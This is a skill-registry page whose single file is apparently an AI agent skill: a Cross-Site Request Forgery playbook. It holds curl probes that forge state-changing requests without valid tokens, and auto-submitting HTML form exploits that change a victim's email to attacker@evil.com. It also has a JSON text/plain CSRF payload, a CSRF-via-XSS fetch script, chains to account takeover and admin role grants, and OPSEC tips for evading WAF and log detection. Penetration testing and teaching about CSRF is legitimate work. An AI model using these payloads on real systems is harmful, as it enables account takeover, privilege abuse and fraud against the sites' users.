<< All versions

Skill v1.0.0

currentAutomated scan100/100
bittersecurity/decepticon/csrf
──Details
PublishedOctober 14, 2026 at 09:30 PM
Content Hashsha256:ae46d742cc4f8be7...
Git SHA1fd53041ff10
──Files
Files (1 file, 6.1 KB)
SKILL.md6.1 KBactive
SKILL.md · 125 lines · 6.1 KB

version: "1.0.0" name: csrf description: Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover. allowed-tools: Bash Read Write metadata: when_to_use: "csrf xsrf anti-csrf token same-site samesite cookie state-changing forge cross-site request" mitre_attack: T1204 subdomain: execution tags: web-application, csrf, xsrf, samesite, account-takeover


CSRF Playbook

Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.

1. Detection — is the endpoint actually protected?

bash
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'
# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"

HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.

2. Bypass / misconfig matrix

ClassServer flawBypass
Token absentno token at alldirect cross-origin form POST
Token not validatedheader sent but never checkedsend empty / random token
Token not bound to sessiontoken from another account worksmint a token in attacker account, use against victim
Predictable tokensequential / timestamp / md5(userid)precompute
Token in URLleaks via Referer / logs / shouldersteal then replay
Method-override_method=POST, X-HTTP-Method-Override: POSTturn protected POST into a GET CSRF
JSON CSRFaccepts Content-Type: application/json from formssubmit form with enctype=text/plain + crafted body, or use fetch
Content-type bypassonly validates token when CT=application/x-www-form-urlencodedswitch to text/plain or multipart/form-data
SameSite=Lax gaptop-level GET still sends cookieGET-based state change, or <form method=POST> triggered by user click
SameSite=Noneno protection at allclassic cross-site form
Missing on subsetonly /admin/* protectedunprotected sister endpoint (/api/v1/email)
Login CSRFlogin endpoint has no tokenforce victim into attacker's account → captures victim activity
Logout CSRFlogout has no tokendenial-of-service / phishing reset
Double-submit cookie flawcookie not __Host- prefixed / set from any subdomainXSS on subdomain plants the cookie + matching body value
Referer-only checkheader strippable<meta name="referrer" content="no-referrer"> on attacker page

3. Exploit PoC

3.1 Classic form CSRF (auto-submit)

html
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>

3.2 JSON CSRF via text/plain

html
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

3.3 CSRF via XSS (defeats double-submit / SameSite)

js
// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});

4. Chains

  • CSRF → ATO: change email → password reset → full takeover.
  • Login CSRF → activity capture: victim posts data into attacker's account.
  • CSRF → privilege grant: forge role=admin mass-assignment POST.
  • Subdomain XSS → double-submit bypass: write the CSRF cookie from a sibling, then forge.

5. Tools

  • Burp Suite — Engagement Tools → Generate CSRF PoC, CSRF Scanner extension
  • XSRFProbe — automated CSRF audit (xsrfprobe -u https://<TARGET>)
  • Bolt — context-aware CSRF scanner

6. Detection signatures & OPSEC

IndicatorDetection methodOPSEC note
Many POST from foreign OriginWAF Origin/Referer ruleUse blank/null Referer to test, throttle
Repeated token mutation on one sessionApp-side anomalyToggle one variable per request
Auto-submit form referrer from attacker hostAccess-log correlationHost PoC on in-scope collector during authorized tests

Decision Gate: CSRF confirmed → exploitation

  • [ ] State-changing action succeeds without / with junk token
  • [ ] Origin/Referer not strictly validated (or strippable)
  • [ ] Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)
  • [ ] PoC achieves a security-relevant change (email, password, role, funds)

If all checked, escalate per finding-protocol; otherwise downgrade.

All versions